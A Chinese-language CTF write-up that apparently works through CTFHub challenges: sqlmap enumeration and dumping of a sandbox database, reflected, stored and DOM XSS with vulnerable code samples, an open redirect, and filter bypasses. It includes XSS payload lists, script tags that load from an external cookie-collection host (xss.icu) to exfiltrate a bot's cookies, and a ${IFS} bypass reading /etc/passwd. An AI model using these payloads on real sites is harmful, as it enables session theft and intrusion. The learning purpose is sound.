一.整数型注入其他都是一把索查询所有数据库sqlmap -u http://challenge-2a0f92270848bd3f.sandbox.ctfhub.com:10800/?id1 --dbs查询当前数据库sqlmap -u http://challenge-2a0f92270848bd3f.sandbox.ctfhub.com:10800/?id1 --current-db查询当前数据库“sqli”里的所有表sqlmap -u http://challenge-2a0f92270848bd3f.sandbox.ctfhub.com:10800/?id1 -D sqli --tables枚举flag表中的flag的字段名sqlmap -u http://challenge-2a0f92270848bd3f.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns导出指定字段的具体数据sqlmap -u http://challenge-2a0f92270848bd3f.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag -C flag --dump二.XSS跨站脚本Cross-Site ScriptingXSS是一种经常出现在 WEB 应用程序中的计算机安全漏洞是由于WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中当其他用户浏览这些网页时就会执行其中的恶意代码对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。1.反射型反射型 XSS 恶意 URL 用户点击 服务器无过滤 浏览器执行脚本核心漏洞服务器直接反射用户输入的恶意代码未做安全处理反射型 XSS 的利用一般是攻击者通过特定手法如电子邮件诱使用户去访问一个包含恶意代码的 URL当受害者点击这些专门设计的链接的时候恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方常用来窃取客户端 Cookies 或进行钓鱼欺骗。?php // Is there any input? if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) { // Feedback for end user echo preHello . $_GET[ name ] . /pre; } ?这段代码如何name参数存在并且不为空就输出Hello name到浏览器的页面。它直接把用户输入的内容输出到网页没有任何过滤有严重的XSS漏洞。攻击流程1.攻击者构造包含恶意脚本的URL2.诱导用户点击该URL3.服务器接收参数并直接回显到页面4.浏览器执行恶意脚本!-- 反射型XSS示例 -- !-- 漏洞代码 -- form action/search methodGET input typetext nameq / button typesubmit搜索/button /form !-- 服务器直接回显用户输入 -- div 搜索结果?php echo $_GET[q]; ? /div !-- 攻击载荷 -- scriptalert(XSS)/script img srcx onerroralert(XSS)危害1.窃取用户Cookie和会话信息2.钓鱼攻击伪造登录表单3.页面内容篡改传播恶意信息//基础弹窗 scriptalert(XSS)/script //IMG标签 img srcx onerroralert(XSS) //事件处理器 onmouseoveralert(1) //SVG标签 svg onloadalert(XSS) //cookie窃取 scriptalert(document.cookie)/script解题步骤发现的确是XSS反射型攻击构造URL在cookie中拿到了flag2.存储型持久型攻击者将恶意脚本提交到服务器并存储在数据库中当其他用户访问包含该数据的页面时恶意脚本被执行。这是危害最大的XSS类型因为它是持久性的。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处恶意脚本存储到客户端或者服务端的数据库中。攻击流程1攻击者在留言板、评论区等处提交恶意脚本2服务器将恶意脚本存储到数据库3其他用户访问该页面4服务器从数据库读取并显示恶意脚本5所有访问用户的浏览器都会执行恶意脚本!-- 存储型XSS示例 -- !-- 用户提交评论 -- form action/comment methodPOST textarea namecontent/textarea button typesubmit提交/button /form !-- 服务器存储并显示评论未过滤 -- ?php $comment $_POST[content]; // 直接存入数据库 mysqli_query($conn, INSERT INTO comments (content) VALUES ($comment)); ? !-- 显示评论时触发XSS -- div classcomment ?php echo $row[content]; ? /div危害1影响范围广所有访问用户都会受到攻击2持久性攻击恶意脚本长期存在3可用于蠕虫传播自动感染更多用户4批量窃取用户凭证和敏感信息解题这是XSS漏洞3.DOM型攻击完全发生在客户端通过修改页面的DOM环境来执行恶意脚本。服务器不参与攻击过程恶意代码通过前端JavaScript不安全地操作DOM而触发。DOM 环境浏览器加载页面后把 HTML 解析成的内存中的文档对象模型可理解为页面的「活的结构」JS 可以直接读写、修改它。不安全 DOM 操作前端 JS 把不可信的本地数据直接插入 DOM、当做代码执行没有任何过滤。漏洞根源前端 JS 存在不安全代码攻击过程1页面加载正常流程用户打开前端页面https://xxx.com/user.html浏览器解析 HTML生成 DOM 树加载前端 JS。2前端 JS 存在不安全代码漏洞根源页面有一段读取 URL 哈希并直接插入 DOM的 JS 代码这是 90% 的漏洞点// 高危不安全DOM操作直接把URL#后的内容插入页面 const userInput location.hash.substring(1); // 读取浏览器本地URL哈希 document.getElementById(content).innerHTML userInput; // 直接写入DOM3攻击者构造「恶意客户端 URL」https://xxx.com/user.html#scriptalert(窃取Cookie/账号信息)/script关键点#后的内容永远不会发送到服务器纯本地数据。4诱导用户点击链接攻击者把链接发给用户聊天、邮件、广告用户点击。5浏览器本地执行攻击服务器无感知用户点击链接浏览器加载页面前端 JS 执行读取#后的恶意脚本 → 用innerHTML写入 DOM浏览器解析 DOM直接执行恶意 JavaScript攻击完成窃取 Cookie、监听输入、跳转钓鱼页、篡改页面内容6服务器全程无参与服务器只收到请求https://xxx.com/user.html完全看不到#后的恶意代码后端日志、WAF、防火墙全部失效危害1窃取隐私读取localStorage、document.cookie、登录态、用户输入的密码。2页面劫持把登录按钮改成钓鱼链接替换整个页面内容。3键盘记录监听keydown事件窃取用户输入的银行卡、密码。4挖矿 / 弹窗植入挖矿脚本、恶意广告。5内网探测扫描用户内网端口窃取内网服务信息。解题步骤DOM反射:在第一个输入框内尝试输入简单的测试载荷没有弹窗出现scriptalert(Hello)/script利用浏览器解析HTML和JavaScript的优先级HTML解析优先于JavaScript执行当遇到/script标签时浏览器会立即结束当前的脚本块然后开始解析新的script标签。我们来构造一个闭合。/scriptscriptalert(I am a XSS)/script/script提前结束代码闭合前面的引号scriptalert(I am a XSS)/script模仿恶意代码块查看源代码这是一个DOM型XSS注入挑战平台用户通过GET参数提交文本内容前端使用innerHTML直接渲染到页面而未做过滤存在明显XSS注入风险。平台还提供Bot测试功能可将构造的恶意URL提交给模拟浏览器验证攻击效果。CTF中反射型XSS通常需要管理员触发。将上一步构造好的完整恶意URL提交给平台提供的“模拟管理员”或“机器人”进行访问即复制XSS反射攻击URL到send URL to Bot对应的地址框中。在第二个文本框内输入上一步生成的获取cookie的反射型XSS链接地址点击send返回successfully。此步骤的目的是将构造好的完整恶意URL窃取Cookie载荷提交给平台提供的“模拟管理员”或“机器人”进行访问。一旦管理员浏览器加载此URL其中的脚本就会自动执行将其Cookie悄无声息地发送到你在上一步骤中搭建的接收服务器上。步骤1.将下面代码输入第一个输入框后send;/scriptscript srchttps://xss.icu/api/x/da0407800b6a/script2.记录反射XSS的恶意URL地址3.在第二个文本框内输入上一步生成的获取cookie的反射型XSS链接地址点击send返回successfully。4.在XSS平台拿到了flagDOM跳转:1.在XSS平台中设置无刷新和重放的代码项目// Cookie设置模块无刷新、无重放、无自动跳转 (function(){ var cookieStr sessionabc123; tokenxyz456; var items cookieStr.split(;); for(var i 0; i items.length; i){ document.cookie items[i].trim() ; path/; } })();2.分析代码// 1. 从URL的查询参数中拆分出参数 var target location.search.split() // 2. 判断第一个参数名是否为 jumpto去掉开头的? if (target[0].slice(1) jumpto) { // 3. 如果匹配就跳转到第二个参数对应的值 location.href target[1]; }这是一个URL 跳转功能用户访问?jumpto目标地址时页面会自动跳转到目标地址。正常访问示例http://xxx.com/?jumptohttps://ctfhub.com → 页面跳转到ctfhub.com。核心问题代码完全没有对跳转目标做任何校验 / 过滤直接把用户可控的target[1]赋值给location.href属于典型的开放重定向漏洞。攻击者可以控制页面的跳转目标诱骗用户点击恶意链接跳转到钓鱼网站、恶意下载站等。3.构造一个恶意的url出现弹窗4.使用XSS平台接收5.发送给机器人6.XSS平台中捕获到cookie过滤空格本关卡提示对空格进行了关键字过滤如何绕开空格过滤1IFS内部字段分隔符绕过IFS是Shell 的内部字段分隔符环境变量默认值包含空格space、制表符\t、换行符\n2绕过核心逻辑当 WAF 或代码过滤了空格 或 %20无法直接写 cat flag.txt 时可以用 ${IFS} 变量替代空格Shell 解析时会自动将其还原为空格。# 原命令cat /etc/passwd cat${IFS}/etc/passwd # ✅ 有效 ls${IFS}-la # ✅ 有效2重定向符号绕过重定向符号绕过URL 重定向 / 开放重定向绕过核心是利用 URL 特殊字符解析差异、编码混淆、白名单缺陷让服务器误判为合法目标实际跳转到恶意地址。catflag.txtscript/**/srchttps://xss.icu/api/x/3a511ccb0b0a/script关键字过滤使用大小写混淆的手段绕过关键字过滤/?nameScRiPt srchttps://xss.icu/api/x/6e4a330eaf6e/ScRiPt